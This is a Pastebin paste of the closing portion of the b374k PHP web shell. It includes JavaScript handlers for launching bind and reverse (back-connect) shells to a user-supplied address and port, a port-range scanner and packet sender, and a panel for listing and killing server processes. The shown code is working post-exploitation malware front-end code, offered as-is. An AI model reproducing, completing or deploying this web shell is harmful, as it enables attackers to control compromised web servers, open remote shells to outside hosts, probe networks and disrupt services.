  4405.     $('#packetContent').on('keydown', function(e){
  4406.         if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
  4407.             packet_go();
  4408.         }
  4409.         fix_tabchar(this, e);
  4410.     });
  4411. }
  4412.  
  4413. function rs_go_bind(){
  4414.     rs_go('bind');
  4415. }
  4416. function rs_go_back(){
  4417.     rs_go('back');
  4418. }
  4419.  
  4420. function rs_go(rsType){
  4421.     rsArgs = "";
  4422.     if(rsType=='bind'){
  4423.         rsPort = parseInt($('#bindPort').val());
  4424.         rsLang = $('#bindLang').val();
  4425.         rsArgs = rsPort;
  4426.         rsResult = $('#bindResult');
  4427.     }
  4428.     else if(rsType=='back'){
  4429.         rsAddr = $('#backAddr').val();
  4430.         rsPort = parseInt($('#backPort').val());
  4431.         rsLang = $('#backLang').val();
  4432.         rsArgs = rsPort + ' ' + rsAddr;
  4433.         rsResult = $('#backResult');
  4434.     }
  4435.  
  4436.     if((isNaN(rsPort))||(rsPort<=0)||(rsPort>65535)){
  4437.         rsResult.html('Invalid port');
  4438.         return;
  4439.     }
  4440.  
  4441.     if(rsArgs!=''){
  4442.         send_post({ rsLang:rsLang, rsArgs:rsArgs },
  4443.             function(res){
  4444.                 if(res!='error'){
  4445.                     splits = res.split('{[|b374k|]}');
  4446.                     if(splits.length==2){
  4447.                         output = splits[0]+"<hr>"+splits[1];
  4448.                         rsResult.html(output);
  4449.                     }
  4450.                     else{
  4451.                         rsResult.html(res);
  4452.                     }
  4453.                 }
  4454.             }
  4455.         );
  4456.     }
  4457. }
  4458.  
  4459. function packet_go(){
  4460.     packetHost = $('#packetHost').val();
  4461.     packetStartPort = parseInt($('#packetStartPort').val());
  4462.     packetEndPort = parseInt($('#packetEndPort').val());
  4463.     packetTimeout = parseInt($('#packetTimeout').val());
  4464.     packetSTimeout = parseInt($('#packetSTimeout').val());
  4465.     packetContent = $('#packetContent').val();
  4466.     packetResult = $('#packetResult');
  4467.     packetStatus = $('#packetStatus');
  4468.  
  4469.     if((isNaN(packetStartPort))||(packetStartPort<=0)||(packetStartPort>65535)){
  4470.         packetResult.html('Invalid start port');
  4471.         return;
  4472.     }
  4473.     if((isNaN(packetEndPort))||(packetEndPort<=0)||(packetEndPort>65535)){
  4474.         packetResult.html('Invalid end port');
  4475.         return;
  4476.     }
  4477.     if((isNaN(packetTimeout))||(packetTimeout<=0)){
  4478.         packetResult.html('Invalid connection timeout');
  4479.         return;
  4480.     }
  4481.     if((isNaN(packetSTimeout))||(packetSTimeout<=0)){
  4482.         packetResult.html('Invalid stream timeout');
  4483.         return;
  4484.     }
  4485.  
  4486.     if(packetStartPort>packetEndPort){
  4487.         start = packetEndPort;
  4488.         end = packetStartPort;
  4489.     }
  4490.     else{
  4491.         start = packetStartPort;
  4492.         end = packetEndPort;
  4493.     }
  4494.  
  4495.     packetResult.html('');
  4496.     while(start<=end){
  4497.         packetPort = start++;
  4498.         packetResult.append("<hr><div><p class='boxtitle'>Host : "+html_safe(packetHost)+":"+packetPort+"</p><br><div id='packet"+packetPort+"' style='padding:2px 4px;'>Working... please wait...</div></div>");
  4499.         packet_send(packetHost, packetPort, packetEndPort, packetTimeout, packetSTimeout, packetContent);
  4500.  
  4501.     }
  4502. }
  4503.  
  4504. function packet_send(packetHost, packetPort, packetEndPort, packetTimeout, packetSTimeout, packetContent){
  4505.     send_post({packetHost:packetHost, packetPort:packetPort, packetEndPort:packetEndPort, packetTimeout:packetTimeout, packetSTimeout:packetSTimeout, packetContent:packetContent}, function(res){
  4506.         $('#packet'+packetPort).html(res);
  4507.     }, false);
  4508. }
  4509.  
  4510. Zepto(function($){
  4511.     show_processes();
  4512. });
  4513.  
  4514. function show_processes(){
  4515.     send_post({showProcesses:''}, function(res){
  4516.         if(res!='error'){
  4517.             $('#processes').html(res);
  4518.             sorttable.k($('#psTable').get(0));
  4519.             ps_bind();
  4520.         }
  4521.     });
  4522. }
  4523.  
  4524. function ps_bind(){
  4525.     $('.kill').off('click');
  4526.     $('.kill').on('click', function(e){
  4527.         kill_pid(ps_get_pid($(this)));
  4528.     });
  4529.  
  4530.  
  4531.     cbox_bind('psTable','ps_update_status');
  4532. }
  4533.  
  4534. function ps_get_pid(el){
  4535.     return el.parent().parent().attr('data-pid');
  4536. }
  4537.  
  4538. function ps_update_status(){
  4539.     totalSelected = $('#psTable').find('.cBoxSelected').not('.cBoxAll').length;
  4540.     if(totalSelected==0) $('.psSelected').html('');
  4541.     else $('.psSelected').html(' ( '+totalSelected+' item(s) selected )');
  4542. }
  4543.  
  4544. function kill_selected(){
  4545.     buffer = get_all_cbox_selected('psTable', 'ps_get_pid');
  4546.  
  4547.     allPid = '';
  4548.     $.each(buffer,function(i,v){
  4549.         allPid += v + ' ';
  4550.     });
  4551.     allPid = $.trim(allPid);
  4552.     kill_pid(allPid);
  4553. }
  4554.  
  4555. function kill_pid(allPid){
  4556.     title = 'Kill';
  4557.     content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='allPid' style='height:120px;min-height:120px;' disabled>"+allPid+"</textarea></td></tr><tr><td colspan='2'><span class='button' onclick=\"kill_pid_go();\">kill</span></td></tr></table>";
  4558.     show_box(title, content);
  4559. }
  4560.  
  4561. function kill_pid_go(){
  4562.     allPid = $('.allPid').val();
  4563.     if($.trim(allPid)!=''){
  4564.         send_post({allPid:allPid}, function(res){
  4565.             if(res!='error'){
  4566.                 $('.boxresult').html(res + ' process(es) killed');
  4567.             }
  4568.             else $('.boxresult').html('Unable to kill process(es)');
  4569.             show_processes();
  4570.         });
  4571.     }
  4572. }
  4573.  
  4574.  
  4575. <?php
  4576.     foreach($GLOBALS['module_to_load'] as $k){
  4577.         echo "function ".$GLOBALS['module'][$k]['id']."(){ ".$GLOBALS['module'][$k]['js_ontabselected']." }\n";
  4578.     }
  4579. ?>
  4580. </script>
  4581. <!--script end-->
  4582. </body>
  4583. </html><?php die();?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top